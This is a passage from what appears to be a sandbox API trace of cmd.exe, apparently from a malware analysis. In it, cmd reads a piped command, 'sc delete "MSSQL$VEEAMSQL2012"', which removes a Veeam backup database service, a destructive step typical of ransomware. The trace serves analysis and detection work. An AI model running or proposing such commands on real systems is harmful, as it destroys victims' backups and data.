| out: hHeap=0x1b0000) returned 1 [0065.249] GetEnvironmentStringsW () returned 0x1cba10* [0065.249] GetProcessHeap () returned 0x1b0000 [0065.249] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0065.249] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0065.249] GetProcessHeap () returned 0x1b0000 [0065.249] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.250] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.250] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.250] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.250] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.250] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.250] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.250] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.250] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.250] GetConsoleOutputCP () returned 0x1b5 [0065.251] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.251] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9840 | out: hHeap=0x1b0000) returned 1 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.251] GetProcessHeap () returned 0x1b0000 [0065.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.251] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.251] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.251] GetFileType (hFile=0x120) returned 0x3 [0065.251] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.251] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.252] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.252] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.252] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.252] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.252] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.252] GetFileType (hFile=0x120) returned 0x3 [0065.252] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.252] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.252] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.252] GetFileType (hFile=0xb8) returned 0x3 [0065.252] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.252] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.252] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.252] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.252] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.252] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.252] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.252] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.252] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.253] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.253] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.253] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.253] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.253] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.253] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.253] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.253] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.253] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.253] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.253] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.253] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.253] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.253] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.253] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.253] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.253] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.253] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.253] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.253] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.254] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.254] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.254] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.254] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$VEEAMSQL2012\"\n") returned 1 [0065.254] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.254] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.254] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$VEEAMSQL2012\"\n") returned 1 [0065.254] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.254] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.254] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="QSQL$VEEAMSQL2012\"\n") returned 1 [0065.254] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.254] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.254] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="LQL$VEEAMSQL2012\"\n") returned 1 [0065.254] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.254] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.254] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="AL$VEEAMSQL2012\"\n") returned 1 [0065.254] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.254] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.255] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="g$VEEAMSQL2012\"\n") returned 1 [0065.255] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.255] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.255] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="eVEEAMSQL2012\"\n") returned 1 [0065.255] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.255] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.255] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="nEEAMSQL2012\"\n") returned 1 [0065.255] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.255] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.255] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="tEAMSQL2012\"\n") returned 1 [0065.255] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.255] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.255] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="$AMSQL2012\"\n") returned 1 [0065.255] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.255] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.255] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="VMSQL2012\"\n") returned 1 [0065.255] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.255] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.256] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="ESQL2012\"\n") returned 1 [0065.256] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.256] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.256] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="EQL2012\"\n") returned 1 [0065.256] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.256] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.256] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="AL2012\"\n") returned 1 [0065.256] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.256] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.256] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="M2012\"\n") returned 1 [0065.256] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.256] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.256] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="S012\"\n") returned 1 [0065.256] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.256] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.256] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="Q12\"\n") returned 1 [0065.256] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.256] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.256] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="L2\"\n") returned 1 [0065.257] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.257] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.257] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="2\"\n") returned 1 [0065.257] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.257] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.257] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, 